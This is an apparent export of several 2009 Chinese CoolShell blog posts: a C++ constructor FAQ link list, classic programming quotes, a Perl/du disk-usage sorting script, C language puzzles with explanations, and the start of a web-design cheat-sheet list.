    "content": "---\nlayout: post\ntitle: 关于C++构造函数的FAQ\ndate: 2009/5/13/ 14:38:36\nupdated: 2009/5/13/ 14:38:36\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一些关于C++构造函数的FAQ。你能回答得出来吗？你可以点链接查看答案，不过是英文版的。他们来自于[*C++ FAQ Lite*](http://www.parashift.com/c++-faq-lite/index.html \"C++ FAQ Lite\")。当然，也有中文版的，只可惜中文版的太老了，只更新到了2001年。在[*C++ FAQ Lite*](http://www.parashift.com/c++-faq-lite/index.html \"C++ FAQ Lite\")上还有很多关于其它部分的FAQ，大家可以去看看。\n\n\n[[1] 构造函数是用来干什么的？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.1 \"[1] What's the deal with constructors?\")\n\n\n[[2] List x; 和 List x();有什么不同?](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.2 \"[2] Is there any difference between List x; and List x();?\")\n\n\n[[3] 是否一个类的构造函数可以调用另一个构造函数来初始化自己？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.3 \"[3] Can one constructor of a class call another constructor of the same class to initialize the this object?\")\n\n\n[[4] 是否Fred类的默认的函数函数就一定是Fred::Fred()？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.4 \"[4] Is the default constructor for Fred always Fred::Fred()?\")\n\n\n[[5] 如果要创建一个Fred 对像数组，什么样的构数函数会被调用?](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.5 \"[5] Which constructor gets called when I create an array of Fred objects?\")\n\n\n[[6] 构造函数初始化成员变量时，用 “初始化列表” 还是 “赋值”？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.6 \"[6] Should my constructors use \\\"initialization lists\\\" or \\\"assignment\\\"?\")\n\n\n\n[[7] 在构造函数中用this 指针是否有问题？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.7 \"[7] Should you use the this pointer in the constructor?\")\n\n\n[[8]什么是“名字构造函数”（Named Constructor Idiom）？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.8 \"[8] What is the \\\"Named Constructor Idiom\\\"?\")\n\n\n[[9] “值返回”意味着额外的拷贝吗？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.9 \"[9] Does return-by-value mean extra copies and extra overhead?\")\n\n\n[[10] 为什么我们不能在构造函数初始化列表中初始化一个 static 成员变量？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.10 \"[10] Why can't I initialize my static member data in my constructor's initialization list?\")\n\n\n[[11] 为什么一个有 static 成员变量的类会有链接错误？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.11 \"[11] Why are classes with static data members getting linker errors?\")\n\n\n[[12] 什么是“static initialization order fiasco”？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.12 \"[12] What's the \\\"static initialization order fiasco\\\"?\")\n\n\n[[13] 我该如果避免 “static initialization order fiasco”?](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.13 \"[13] How do I prevent the \\\"static initialization order fiasco\\\"?\")\n\n\n[[14] 为什么 construct-on-first-use 什么静态变量而不是指针？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.14 \"[14] Why doesn't the construct-on-first-use idiom use a static object instead of a static pointer?\")\n\n\n[[15] 怎么才能避免静态成员中的“static initialization order fiasco” ？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.15 \"[15] How do I prevent the \\\"static initialization order fiasco\\\" for my static data members?\")\n\n\n[[16] 我是否要为内建类型的“static initialization order fiasco”而担心？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.16 \"[16] Do I need to worry about the \\\"static initialization order fiasco\\\" for variables of built-in/intrinsic types?\")\n\n\n[[17] 如果构造函数出错了怎么办？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.17 \"[17] How can I handle a constructor that fails?\")\n\n\n[[18] 什么是“命名参数惯用法”（Named Parameter Idiom）？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.18 \"[18] What is the \\\"Named Parameter Idiom\\\"?\")\n\n\n[[19] 为什么我通过Foo x(Bar())声明一个Foo 对象会得到一个错误？](http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.19 \"[19] Why am I getting an error after declaring a Foo object via Foo x(Bar())?\")\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [关于C++构造函数的FAQ](https://coolshell.cn/articles/804.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-15 22条经典的编程引言.md",
    "content": "---\nlayout: post\ntitle: 22条经典的编程引言\ndate: 2009/5/15/ 4:25:49\nupdated: 2009/5/15/ 4:25:49\nstatus: publish\npublished: true\ntype: post\n---\n\n\n下面的这些经典的引言来自英文，也许有些我翻译的是不很好，所以，我提供了中英对照，如果有问题，请大家指正。\n\n\n \n\n\n过早的优化是万恶之源。Premature optimization is the root of all evil!  \n\n*– Donald Knuth*\n\n\n \n\n\n在水里行走和以一个需求规格进行软件开发，有一点是相同的，那就是如果水或需求都被冻住不了，那么行走和软件开发都会变得容易。Walking on water and developing software from a specification are easy if both are frozen  \n\n*– Edward V Berard*\n\n\n\n\n \n\n\nHofstadter 定理：“一件事情总是会花费比你预期更多的时间，就算是你已经考虑过本条*Hofstadter* 定理”。It always takes longer than you expect, even when you take into account Hofstadter’s Law.  \n\n*– Hofstadter’s Law*\n\n\n\n \n\n\n有些遇到问题的人总是会说“我知道，我会使用正则表达式”，那么，你现在有两个问题了。（意思是：你本想用正则表达式来解决你已有问题，但实际上你又引入了“正则表达式”的一个新问题）Some people, when confronted with a problem, think “I know, I’ll use regular expressions.” Now they have two problems  \n\n*– Jamie Zawinski*\n\n\n\n \n\n\n调试程序的难度是写代码的两倍。因此，只要你的代码写的尽可能的清楚，那么你在调试代码时就不需要那么地有技巧。Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.  \n\n*– Brian Kernighan*\n\n\n \n\n\n用代码行来衡量开发进度，无异于用重量来衡量制造飞机的进度。Measuring programming progress by lines of code is like measuring aircraft building progress by weight.  \n\n*– Bill Gates*\n\n\n \n\n\nPHP被一些不合格的业余人员造就成了一个小恶魔；而Perl则是被一些熟练的但不正当的专业人员造就成了一个超级大恶魔。PHP is a minor evil perpetrated and created by incompetent amateurs, whereas Perl is a great and insidious evil, perpetrated by skilled but perverted professionals.  \n\n*– Jon Ribbens*\n\n\n \n\n\n在两个场合我被问到：“请你告诉我，如果你给机器输入了错误的数字，那么，是否还能得到正确的答案？”我并不能正确领会这类想法。（注意，本引言的作者姓Babbage，这个名字和神父同名，意思是，作者在反问提问的人，你是问我还是向神父祈祷？）On two occasions I have been asked, ‘Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?’ I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question.”  \n\n*– Charles Babbage*\n\n\n \n\n\n在编程的时候，我们一定要想像一下，以后维护我们自己的代码的那个人会成为一个有暴力倾向的疯子，并且，他还知道我们住在哪里？Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live.  \n\n*– Rick Osborne*\n\n\n \n\n\n现代的编程是“程序员努力建一个更大更傻的程序”和“世界正在尝试创造更多更傻的人”之间的一种竞赛，目前为止，后者是赢家。Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.  \n\n*– Rich Cook*\n\n\n \n\n\n我才不关于我的代码是否能在你的机器上工作！我们不会给你提供机器。I don’t care if it works on your machine! We are not shipping your machine!  \n\n*– Ovidiu Platon*\n\n\n \n\n\n我总是希望我的电脑能够像电话一样容易使用；我的这个希望正在变成现实，因为我现在已经不知道怎么去使用我的电话了。I have always wished for my computer to be as easy to use as my telephone; my wish has come true because I can no longer figure out how to use my telephone.  \n\n*– Bjarne Stroustrup*\n\n\n \n\n\n计算机是一种在人类历史上所有发明中，可以让你比以前更快地犯更多的错误的发明，同样，其也包括了“手枪”和“龙舌兰酒”这两种发明的缺陷。A computer lets you make more mistakes faster than any other invention in human history, with the possible exceptions of handguns and tequila.  \n\n*– Mitch Ratcliffe*\n\n\n \n\n\n如果调试程序是一种标准的可以铲除BUG的流程，那么，编程就是把他们放进来的流程。If debugging is the process of removing software bugs, then programming must be the process of putting them in.  \n\n*– E. W. Dijkstra*\n\n\n \n\n\n教一群被BASIC先入为主的学生，什么是好的编程风格简直是一件不可能的事。对于一些有潜力的程序员，他们所受到的智力上的伤害远远超过了重建他们的信心。It is practically impossible to teach good programming style to students that have had prior exposure to BASIC. As potential programmers, they are mentally mutilated beyond hope of regeneration.  \n\n*– E. W. Dijkstra*\n\n\n \n\n\n理论上来说，理论和实际是一样的。但实际上来说，他们则不是。In theory, theory and practice are the same. In practice, they’re not.  \n\n*– Unknown*\n\n\n \n\n\n只有两个事情是无穷尽的：宇宙和人类的愚蠢。当然，我现在还不能确定宇宙是无穷尽的。Two things are infinite: the universe and human stupidity; and I’m not sure about the universe.  \n\n*– Albert Einstein*\n\n\n \n\n\nPerl这种语言就好像是被RSA加密算法加密过的一样。Perl – The only language that looks the same before and after RSA encryption.  \n\n*– Keith Bostic*\n\n\n \n\n\n我爱“最终期限”，我喜欢“嗖嗖嗖”的声音就像他们在飞一样。I love deadlines. I like the whooshing sound they make as they fly by.  \n\n*– Douglas Adams*\n\n\n \n\n\n说Java好的是因为它跨平台就像好像说肛交好是因为其可以适用于一切性别。Saying that Java is good because it works on all platforms is like saying anal sex is good because it works on all genders  \n\n*– Unknown*\n\n\n \n\n\nXML就像是一种强暴——如果它不能解决你的问题，那只能说明你没有用好它。XML is like violence – if it doesn’t solve your problems, you are not using enough of it.  \n\n*– Unknown*\n\n\n \n\n\n爱因期坦说，自然界中的一切一定会有一个简单的解释，因为上帝并不是反复无常和独裁的。当然，不会有什么信仰能程序员像爱因期坦那样感到舒服。Einstein argued that there must be simplified explanations of nature, because God is not capricious or arbitrary. No such faith comforts the software engineer.  \n\n*– Fred Brooks*\n\n\n文章：[来源](http://www.storm-consultancy.com/blog/other/classic-programming-quotes/)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![如何自己写一个网络爬虫](../wp-content/uploads/2009/03/500px-WebCrawlerArchitecture.svg_-150x150.png)](https://coolshell.cn/articles/27.html)[如何自己写一个网络爬虫](https://coolshell.cn/articles/27.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2365.html)[两个C++的资源](https://coolshell.cn/articles/2365.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/240.html)[非常不错的编程技术教程](https://coolshell.cn/articles/240.html)\n* [![Richard Feynman, 挑战者号, 软件工程](../wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg)](https://coolshell.cn/articles/1654.html)[Richard Feynman, 挑战者号, 软件工程](https://coolshell.cn/articles/1654.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/1086.html)[22个开源的PHP框架](https://coolshell.cn/articles/1086.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/290.html)[雷人的程序注释](https://coolshell.cn/articles/290.html)\nThe post [22条经典的编程引言](https://coolshell.cn/articles/808.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-15 Linux磁盘使用命令du的改进.md",
    "content": "---\nlayout: post\ntitle: Linux磁盘使用命令du的改进\ndate: 2009/5/15/ 8:41:29\nupdated: 2009/5/15/ 8:41:29\nstatus: publish\npublished: true\ntype: post\n---\n\n我们知道，在Linux下，如果你想知道当前目录下，每个文件或子目录的尺寸，你可以使用du命令来完成这一动作。如：\n\n\n\n```\n\n$  du -sh *\n\n```\n\n这个命令可以以K，M，G的方式显示每个文件和子目录的大小。我们把这种方式叫做，human-readable，也就是可以让人读的方式，如下所示：\n\n\n\n```\n8.4G Desktop\n2.6G Documents\n12K keys\n12M Pictures\n536K scripts\n```\n\n  \n\n但是，很可惜的是，我们的du并没有提供相关的排序功能，所以，如果在human-readable下，也就是-h参数下，我们很难使用sort命令来排序。因为那变成了字符串排序，小数点，数字的位数，还有单位K，M，G都会让排序变得混乱。那么，我们如何才能即有human-readble这种功能，还能有排序呢。我们得借用一些脚本语言来处理了。\n\n\n下面是使用了Perl来达到这一功能：\n\n\n\n```\n\ndu -sk * | sort -n |       #以 K 字节的方式排序\nperl -ne '                 #使用Perl来处理 K M 和 G 单位\n  ($s,$f)=split(m{\\t});    #把 尺寸/文件名 分开\n  for (qw(K M G)) {        #以尺寸单位循环\n     if($s<1024) {         #如果 尺寸<1024 那么就输出\n       printf(\"%.1f\",$s);  #显示文件尺寸\n       print \"$_\\t$f\";     #显示文件名\n       last                #换行\n     };\n     $s=$s/1024            #除1024然后进入下一个尺寸单位\n  }\n'\n\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [Linux磁盘使用命令du的改进](https://coolshell.cn/articles/822.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-17 语言的歧义.md",
    "content": "---\nlayout: post\ntitle: 语言的歧义\ndate: 2009/5/17/ 7:57:59\nupdated: 2009/5/17/ 7:57:59\nstatus: publish\npublished: true\ntype: post\n---\n\n语言是人与人相互沟通的途径，而计算机语言则是人和计算机沟通的途径。就算是任何再完美的自然语言都会有歧义，但是又是什么让人和计算计算机间产生了歧义呢？  \n\n下面这篇文章来自Gowri Kumar的[Puzzle C](http://www.gowrikumar.com/c/index.html)一文。我做了一些整理，挑选了其中的一些问题，并在之后配上相应的答案(这些答案是我加的，如果需要原版的答案可以直接和本文作者Gowri Kumar联系，作者的联系方式可以从[这里](http://www.gowrikumar.com/contact.html)得到)。\n\n\n### puzzle 1\n\n\n此段程序的作者希望输出数组中的所有元素，但是他却没有得到他想要的结果，是什么让程序员和计算机产生歧义？\n\n\n\n```\n\n#include <stdio.h>\n#define TOTAL_ELEMENTS (sizeof(array) / sizeof(array[0]))\nint array[] = {23,34,12,17,204,99,16};\nint main()\n{\n    int d;\n\n    for(d=-1;d <= (TOTAL_ELEMENTS-2);d++)\n        printf(\"%d\\n\",array[d+1]);\n\n    return 0;\n}\n\n```\n\n\n**解答：**  \n\n运行上面的程序，结果是什么都没有输出，导致这个结果的原因是sizeof的返回值是一个unsinged int，为此在比较int d 和TOTAL\\_ELEMENTS两个值都被转换成了unsigned int来进行比较，这样就导致-1被转换成一个非常大的值，以至于for循环不满足条件。因此，如果程序员不能理解sizeof操作符返回的是一个unsigned int的话，就会产生类似如上的人机歧义。\n\n\n### puzzle 2\n\n\n看上去非常完美的程序，是什么导致了编程程序不通过？\n\n\n\n```\n\n#include <stdio.h>\n\nvoid OS_Solaris_print()\n{\n    printf(\"Solaris - Sun Microsystems\\n\");\n}\n\nvoid OS_Windows_print()\n{\n    printf(\"Windows - Microsoft\\n\");\n}\n\nvoid OS_HP-UX_print()\n{\n    printf(\"HP-UX - Hewlett Packard\\n\");\n}\n\nint main()\n{\n    int num;\n    printf(\"Enter the number (1-3):\\n\");\n    scanf(\"%d\",&num);\n\n    switch(num)\n    {\n        case 1:\n            OS_Solaris_print();\n            break;\n        case 2:\n            OS_Windows_print();\n            break;\n        case 3:\n            OS_HP-UX_print();\n            break;\n        default:\n            printf(\"Hmm! only 1-3 :-)\\n\");\n        break;\n    }\n    return 0;\n}\n\n```\n\n**解答：**  \n\n程序员要以计算机的语言进行思考，不上上面那段程序导致的结果不止是歧义这么简单，而直接的结果是，导致计算机”听不懂”你在说什么。导致计算机听不懂的原因是HP-UX中的’-‘是减号？还是其他什么？\n\n\n### puzzle 3\n\n\n下面这段程序会输出什么，为什么？\n\n\n\n```\n\nenum {false,true};\n\nint main()\n{\n    int i=1;\n    do\n    {\n        printf(\"%d\\n\",i);\n        i++;\n\n        if(i < 15)\n            continue;\n    }while(false);\n\n    return 0;\n}\n\n```\n\n**解答：**  \n\n1到14？不对，结果是1，因为continue的含义是不执行循环体之后语义，而直接到循环点。明显while(false)不属于循环体。导致这段程序的歧义就是：程序员没有完全理解计算机语言中continue的含义。\n\n\n### puzzle 4\n\n\n下面这段程序的输出结果是：\n\n\n\n```\n\n#include <stdio.h>\n#define f(a,b) a##b\n#define g(a)   #a\n#define h(a) g(a)\n\nint main()\n{\n        printf(\"%s\\n\", h(f(1,2)));\n        printf(\"%s\\n\", g(f(1,2)));\n        return 0;\n}\n\n```\n\n当然，你首先要了解##和#的用法，如果不懂的话，本题你可以直接跳过。  \n\n**解答：**  \n\n看到这段程序你可能会认为，这两个printf输出的同一个结果，可是答案却非如此，本题的输出是12和f(1,2)，为什么会这样呢？因为这是宏，宏的解开不象函数执行，由里带外。\n\n\n### puzzle 5\n\n\n下面这段程序的输出是什么\n\n\n\n> #include <stdio.h>  \n> \n> int main()  \n> \n> {  \n> \n> int a=10;  \n> \n> switch(a)  \n> \n> {  \n> \n> case ‘1’:  \n> \n> printf(“ONE\\n”);  \n> \n> break;  \n> \n> case ‘2’:  \n> \n> printf(“TWO\\n”);  \n> \n> break;  \n> \n> defau1t:  \n> \n> printf(“NONE\\n”);  \n> \n> ｝  \n> \n> return 0;  \n> \n> }\n> \n> \n\n\n**解答：**  \n\n本题我故意将语法敏感插件去掉，为了就是能得到更好的效果，这道题又是什么让歧义再次发生，如果不仔细你可能永远都找不到答案，如果真到的到了那个时候，你是否会因为对default语义的怀疑，而不敢再使用default？本题的歧义点就是default，看好了是defau1t而不是default，不是关键字！为什么计算能”听懂”这样的defau1t，算然它听懂了，但它的理解却是标号”defau1t”\n\n\n### puzzle 6\n\n\n下面这段程序的输出什么？\n\n\n\n```\n\n#include <stdio.h>\n\nint main()\n{\n    float f=0.0f;\n    int i;\n\n    for(i=0;i<10;i++)\n        f = f + 0.1f;\n\n    if(f == 1.0f)\n        printf(\"f is 1.0 \\n\");\n    else\n        printf(\"f is NOT 1.0 \\n\");\n\n    return 0;\n}\n\n```\n\n**解答：**  \n\n你是否似曾相识？不错这个问题在酷壳之前的博文《[你能做对下面这些JavaScript的题吗？](https://coolshell.cn/articles/688.html)》中曾今提到过，不要让两个浮点数相比较。所以本题的答案是”f is NOT 1.0″，如果你真想比较两个浮点数时，你应该按一定精度来比较，比如你一定要在本题中做比较那么你应该这么做if( (f – 1.0f)<0.1 )\n\n\n### puzzle 7\n\n\n下面两个函数是否具有相同的原型？\n\n\n\n```\n\nint foobar(void);\nint foobar();\n\n```\n\n下面这两段程序将会帮你找到上题的答案  \n\n程序1\n\n\n\n```\n\n#include <stdio.h>\nvoid foobar1(void)\n{\n    printf(\"In foobar1\\n\");\n}\n\nvoid foobar2()\n{\n    printf(\"In foobar2\\n\");\n}\n\nint main()\n{\n    char ch = 'a';\n\n    foobar1();\n    foobar2(33, ch);\n\n     return 0;\n}\n\n```\n\n程序2\n\n\n\n```\n\n#include \"stdio.h\"\nvoid foobar1(void)\n{\n    printf(\"In foobar1\\n\");\n}\n\nvoid foobar2()\n{\n    printf(\"In foobar2\\n\");\n}\n\nint main()\n{\n    char ch = 'a';\n\n    foobar1(33,ch);\n    foobar2();\n\n    return 0;\n}\n\n```\n\n**解答**  \n\n程序片段一，没有问题，程序片段二编译报错，这两个程序告诉我们，foobar1(void)和foobar2()是有不同原型的的。我们可以在《ISO/IEC 9899》的C语言规范找到下面两段关于函数声明的描述\n\n\n\n> 10.The special case of an unnamed parameter of type void as the only item in the list specifies that the function has no parameters\n> \n> \n\n\n\n> 14.An identifier list declares only the identifiers of the parameters of the function. An empty list in a function declarator that is part of a definition of that function specifies that the function has no parameters. The empty list in a function declarator that is not part of a definition of that function specifies that no information about the number or types of the parameters is supplied.124)\n> \n> \n\n\n上面两段话的意思就是：foobar1(void)是没有参数，而foobar1()等于forbar1(…)等于参数类型未知。\n\n\n**总结**  \n\n看到这些C语言的题目，不禁让我想起了巴别塔，计算机语言作为如此严谨的语言都有可能带来如此多的歧义，更何况自然语言，更何况相互不通的自然语言。要杜绝歧义，我们就必须清晰的了解计算机语言每一个指令的语义。就如同人类，人类要和平就要相互了解各自的文化。愿世界上人们清晰了解别人的语言的语义，愿世界不再因为文化的不同而战争，原世界和平。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [语言的歧义](https://coolshell.cn/articles/830.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-19 Web设计的速查卡.md",
    "content": "---\nlayout: post\ntitle: Web设计的速查卡\ndate: 2009/5/19/ 13:43:19\nupdated: 2009/5/19/ 13:43:19\nstatus: publish\npublished: true\ntype: post\n---\n\n速查卡不仅仅可能帮助我们记住一些重要的东西，而且可以放在手边，当我们需要的时候，可以很快地查找。\n\n\n在本篇文章中，你可以看到28个相当不错的关于Web设计的速查卡，它们分别是关于：**Photoshop, Dreamweaver, 颜色, 排版,**和 **其它Web设计相关的。**他们都是一页纸，可以方便你很快地打印出来。\n\n\n### Photoshop\n\n\n#### [Photoshop CS3 快捷键速查卡](http://morris-photographics.com/photoshop/shortcuts/#pscs3 \"Trevor Morris Photographics - Adobe Photoshop Keyboard Shortcuts\")\n\n\nhttp://images.sixrevisions.com/2008/09/07-01_cs3_keyboard_shortcuts.pngDownloads: [PDF (Windows)](http://morris-photographics.com/photoshop/shortcuts/downloads/PSCS3_Keyboard_Shortcuts_PC.pdf \"PDF Download - For Windows\"), [PDF (Mac)](http://morris-photographics.com/photoshop/shortcuts/downloads/PSCS3_Keyboard_Shortcuts_Mac.pdf \"PDF Download - for Mac\")\n\n\n\n \n\n\n#### [关于调色板的一些热键](http://livedocs.adobe.com/en_US/Photoshop/10.0/help.html?content=WS7D245964-27B4-403e-82D5-DDD1CB19A82B.html \"Adobe - Keys for using the Layers palette\") (HTML)\n\n\nhttp://images.sixrevisions.com/2008/09/07-02_keys_for_using_layers.png\n\n\n#### [Photoshop 工具栏速查](http://simplephotoshop.com/photoshop_tools/index.htm) (HTML)\n\n\nhttp://images.sixrevisions.com/2008/09/07-03_photoshop_toolbox_reference.png\n\n\n#### [Photoshop 套索工具速查](http://www.creativetechs.com/iq-staging/photoshop_lasso_tool_cheatshee.html \"CreativeIQ - Staging: Photoshop Lasso Tool Cheatsheet.\")\n\n\nhttp://images.sixrevisions.com/2008/09/07-04_lasso_tool_cheatsheet.pngDownload: [PDF](http://creativetechs.com/tips/tip_resources/cheatsheets/Photoshop-Lasso-Cheatsheet.pdf \"PDF Download - Photoshop Lasso Tool Cheatsheet\")\n\n\n#### [Photoshop 笔刷工作速查](http://www.creativetechs.com/iq/photoshop_brush_tool_cheatsheet.html \"CreativeTechs - Photoshop Brush Tool Cheatsheet\")\n\n\nhttp://images.sixrevisions.com/2008/09/07-05_brush_tool_cheatsheet.pngDownload: [PDF](http://creativetechs.com/tips/tip_resources/cheatsheets/Photoshop-Brush-Cheatsheet.pdf \"PDF Download - Photoshop Brush Tool Cheatsheet\")\n\n\n### \n\n\n### 颜色\n\n\n#### [RGB 十六进制表](http://www.addedbytes.com/cheat-sheets/colour-chart/ \"Added Bytes - RGB Hex Colour Chart\")\n\n\nhttp://images.sixrevisions.com/2008/09/07-06_rgb_color_codes.pngDownloads: [PDF](http://www.addedbytes.com/download/rgb-hex-cheat-sheet-v1/pdf/ \"PDF Download\"), [PNG](http://www.addedbytes.com/download/rgb-hex-cheat-sheet-v1/png/ \"PNG Download\")\n\n\n#### [颜色速查](http://www.veign.com/downloads/guides/qrg0006.pdf) (PDF)\n\n\nhttp://images.sixrevisions.com/2008/09/07-07_veign_color_reference_guide.png\n\n\n#### [Web设计颜色](http://www.visibone.com/color/hexagon3x.html \"Visibone - Web Designer's Color Reference Hexagon Mouse Pad\")\n\n\nhttp://images.sixrevisions.com/2008/09/07-08_hexagon_moust.pngDownload: [GIF](http://www.visibone.com/color/hexagon_800.gif \"GIF Download - Hexagon_800.gif\")\n\n\n#### [Web 安全颜色表](http://www.pagetutor.com/common/bgcolors216.html \"Page Tutor - 216 color chart\") (HTML)\n\n\nhttp://images.sixrevisions.com/2008/09/07-09_web_safe_color_chart.png\n\n\n#### [十六进制颜色表](http://www.funky-chickens.com/hex.html) (HTML)\n\n\nhttp://images.sixrevisions.com/2008/09/07-10_funky_chicken.png\n\n\n#### [浏览器颜色表](http://www.cookwood.com/html4_4e/examples/appendices/colorcharthex.html) (HTML)\n\n\nhttp://images.sixrevisions.com/2008/09/07-11_the_browser_safe_colors.png\n\n\n### \n\n\n### 排版\n\n\n#### [VisiBone Font Card](http://www.visibone.com/font/ \"Visibone - VisiBone Font Card\")\n\n\nhttp://images.sixrevisions.com/2008/09/07-12_font_chart.pngDownload: [GIF](http://www.visibone.com/font/fcht_874.gif)\n\n\n#### [常用字体表](http://www.ampsoft.net/webdesign-l/WindowsMacFonts.html) (HTML)\n\n\nhttp://images.sixrevisions.com/2008/09/07-13_windows_font.png\n\n\n#### [混合字体](http://www.as8.it/handouts/mixing-typefaces_U&lc1992.pdf \"PDF Download - Mixing Typefaces\") (PDF)\n\n\nhttp://images.sixrevisions.com/2008/09/07-14_mixing_typefaces.png\n\n\n### 单元/尺寸\n\n\n#### [Points 和Pixels近似转换表](http://www.reeddesign.co.uk/test/points-pixels.html \"Reed Design - Approximate Conversion from Points to Pixels\") (HTML)\n\n\nhttp://images.sixrevisions.com/2008/09/07-15_approximate_conversion.png\n\n\n#### [Megapixels 